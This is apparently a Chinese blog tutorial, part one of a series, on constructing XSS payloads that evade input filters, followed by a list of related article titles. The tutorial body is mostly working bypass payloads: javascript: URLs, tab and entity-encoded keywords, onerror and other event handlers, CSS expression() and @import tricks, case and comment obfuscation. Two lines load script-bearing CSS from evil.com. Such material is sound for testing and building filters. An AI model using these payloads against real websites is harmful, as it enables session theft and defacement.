1.XSS-Filter:跨站脚本过滤器,用于分析用户提交的输入,并消除潜在的跨站脚本攻击

(1)XSS Filter实际上是一段精心编写的过滤函数作用是过滤XSS跨站脚本代码;

(2)绕过XSS Filter的测试:

**利用<>标记注射Html/javaScript ,因此XSS Filter首先要过滤和转义的就是“<>”或“<script>”等字符

**利用标签属性值来执行XSS,很多HTML标签都支持JavaScript:[code]伪协议的形式,这个特殊的协议类型声明了URL的主体是任意的javascript代码

例如:<img src="javascript:alert('XSS');">

不是所有的浏览器都支持伪协议的

并不是所有标记的属性值都能产生XSS,通常只有引用文件的属性才能触发跨站脚本:

href=     ;lowsrc=    ;bgsound=   ;backgroud=   ;value=   ;action=     ;dynsrc=   ;

**空格回车Tab,如果XSS Filter仅仅把敏感的输入字符列入黑名单,用户可以利用空格,回车和Tab键绕过限制

例如:<img src="javas   cript:alert('/XSS/')" width=100> 注意:Javas和cript之间的间隔不是由空格键添加的,而是由Tab键添加的

使用关键字拆分的技巧,用户可以突破过滤器的限制,不局限在【Tab】键,还可以使用【回车】和【空格】之类的其他键位符

原因在于:在javascript引擎中,空格除了在引号中分隔单词和强制结束语句之外,额外的空白无论以何种方式添加都无所谓

例如:<img src="

cript:

alert(/XSS/)" width=100>

**对标签属性值转码:用户可以通过编码处理来绕过对普通HTML标记的属性值的进行的过滤,因为HTML中属性值本身支持ASCII码的形式

根据HTML的属性值支持ASCII码的特性,把XSS代码:<img src="javascript:alert('XSS');">  替换为  <img src="javascrip&#116&#58alert(/XSS/);">

t的ASSCII码值为116,用“&#116”表示;  :则表示为&#58

还可以把&#01,&#02等字符插入到javascript或Vbscript的头部,另外Tab键的ASCII码值是:&#9,换行符的码值是:&#10,回车符的码值是:&#13

**产生自己的事件:javascript和HTML之间的交互是通过事件实现的,事件就是用户或浏览器自身执行的某个动作,比如click,mouseover,load等。响应事件的函数就叫做事                             件处理函数(事件监听器)

事件被划分为3种不同的类型:

①用户接口(鼠标,键盘)

          ②逻辑(处理的结果)

           ③ 变化(对文档进行修改)

例如:<img src="#" onerror=alert(/XSS/)>  onerror是IMG标记的一个事件,只要页面发生错误,该事件立即被激活

**可以用来测试事件型的跨站脚本,有大量的事件可以运用:

onResume,onReverse,onRowDelete,onRowInserted,onSeek,onSynchRestored,onTimeError ,onTrackChange,onURLFlip ,onRepeat,

onMediaError,  onPause ,onProgress ,oncontrolselect ,onOutOfSync  , onafterprint  ,onbeforeprint  ,ondataavailable  ,ondatasetchanged

ondatasetcomplete  , onerrorupdate  ,onrowenter  ,onrowexit  ,onrowsdelete  ,onrowsinserted ,onselectionchange  ,onbounce  ,onfinish

onstop ,onresizeend

**利用CSS跨站剖析:

①例如:<div style="backgroud-image:url(javascript:alert('XSS'))">

②IE5及其之后的版本都支持在CSS中使用expression,使用expression同样可以触发XSS漏洞

例如:<div style="width: expression (alert('XSS'));">

或<style>body{background-image:expression(alert("XSS"));}</style>

③此外,CSS样式表不需要嵌入到HTML代码中,它能从其他文件中甚至从不同的目标机器上进行引用

例如:<link rel="stylesheet" href="http://www.evil.com/attack.css">

④在网页中引用外部CSS还可以利用@import将其导入

例如:<style type='text/css'>@import url(http://www.evil.com/xss.css);</style>

xss.css的内容是:

.showCSS{

event:expression(

onload = function(){

alert('XSS');})

}

⑤此外,@import还有一个特性,就是能直接执行javaScript代码,

例如:<style> @import 'javascript :alert("XSS")';  </style>

**扰乱过滤规则:

①转换大小写之后的XSS:<IMG SRC="javascript:alert(0);">

②大小写混淆的XSS:<iMg sRC="jaVasCript:alert(0);">

③不用双引号,而是使用单引号的XSS:<img src='javascript:alert(0);'>

④不使用引号的XSS:<img src=javascript:alert(0);>

⑤不使用空格,而用/代替:<img/src="javascript:alert('XSS');">

⑥当利用expression执行跨站代码时,可以构造不同的全角字符来扰乱过滤规则:

<xss STYLE="xss: exprEssion(alert('XSS'))">

<div style="{left : e  x  p  r  e   s  s  i   o   n  (alert('XSS')  )  }">

**样式表中的/**/会被浏览器忽略,因此可以结合使用注释字符干扰和欺骗过滤器:

<XSS  STYLE="xss: expr/*XSS*/ession(alert('XSS') ) ">

<div style="wid/**/th:expre/*XSS*/ssion(alert('XSS') );">

**除了/**/之外,样式表中的\和结束符\0也是被浏览器忽略的:

@\0im\port' \0ja\vasc\ript:alert("XSS")';

@\i\0m\00p\000o\0000\00000r\000000t"url";

**还可以将CSS中的关键字进行转码处理,如将e转换为\65,包括改变编码中的0的数量:

<p  style="xss: \65xpression(alert(/XSS/))">

**利用浏览器解析HTML注释存在的问题来执行JavaScript:

例如:

①<!--<img src="--><img  src=x  onerror=alert(1)//>">

②<comment><img src="</comment><img  src=x  onerror=alter(1) //">

③<style><img  src="</style><img src=x  onerror=alert(1)//">

XSS 跨站脚本攻击之构造剖析(一)的更多相关文章

  1. XSS 跨站脚本攻击之构造剖析(二)

    1.利用字符编码 (1)字符编码在跨站脚本中经常运用到,透过这种技巧,不仅能让XSS代码绕过服务端的过滤,还能更好的隐藏ShellCode (2)使用一个XSS编码工具,以便对字符串进行十进制和十六进 ...

  2. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  3. PHP漏洞全解(四)-xss跨站脚本攻击

    本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...

  4. 初窥XSS跨站脚本攻击

    XSS跨站脚本攻击的分类 一. 反射型XSS跨站脚本攻击 二. 存储型XSS跨站脚本攻击 三. 基于DOM的XSS跨站脚本攻击 1.反射性XSS 经过后端,不经过数据库 2.储存型XSS 经过后端,经 ...

  5. XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结(转载)

    转载自 https://blog.csdn.net/baidu_24024601/article/details/51957270 之前就了解过这方面的知识,但是没有系统地总结.今天在这总结一下,也让 ...

  6. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  7. xss(跨站脚本攻击),crsf(跨站请求伪造),xssf

    我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...

  8. JAVA覆写Request过滤XSS跨站脚本攻击

    注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. ...

  9. xss跨站脚本攻击及xss漏洞防范

    xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...

随机推荐

  1. linux下修改tomcat内存大小

    转载自:http://blog.sina.com.cn/s/blog_7fb5109d0101o49a.html 1.  出现此问题的原因:       在tomcat中发布了多个webapp引用,每 ...

  2. Spring 系列: Spring 框架简介

    Spring AOP 和 IOC 容器入门(转载) 在这由三部分组成的介绍 Spring 框架的系列文章的第一期中,将开始学习如何用 Spring 技术构建轻量级的.强壮的 J2EE 应用程序.dev ...

  3. 【Git】笔记2

    来源:廖雪峰 安装git(ubuntu) sudo apt-get install git 创建版本库(repository)  在想生成版本库的文件夹下输入: git init 指定用户名和邮箱 g ...

  4. python MethodType方法详解和使用

    python 中MethodType方法详解和使用 废话不多说,直接上代码 #!/usr/bin/python # -*-coding:utf-8-*- from types import Metho ...

  5. java 500/404错误总结

    404是路径错误,简单的说就是你的页面找不到后台执行它的代码(未找到服务端代码)500最常见的就是你的编程语言语法错误导致的(服务端代码报错)

  6. java课后作业 弹出窗口求两个数的加减乘除

    //计算2个数的加减乘除 谷伟华 2015/10/6package jisuan; import javax.swing.JOptionPane; public class Jiasuan { pub ...

  7. September 7th 2016 Week 37th Wednesday

    Patience is bitter, but its fruit is sweet. 忍耐是痛苦的,但它的果实却是甜蜜的. However, many may give up before they ...

  8. 苹果应用 Windows 申请 普通证书 和Push 证书 Hbuilder 个推

    最近使用Hbuilder 进行了HTML5开发,因为 HTML5 可以放在android 机器上,也可以放到 IOS机器上,所以很感兴趣,于是开发了一个小应用, 不过问题接着来了: 图1 如图所示:当 ...

  9. 数据库IO简介

    IO有四种类型:连续读,随机读,随机写和连续写,连续读写的IO size通常比较大(128KB-1MB),主要衡量吞吐量,而随机读写的IO size比较小(小于8KB),主要衡量IOPS和响应时间.数 ...

  10. JS判断是否为IE浏览器 包含了IE11

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD ...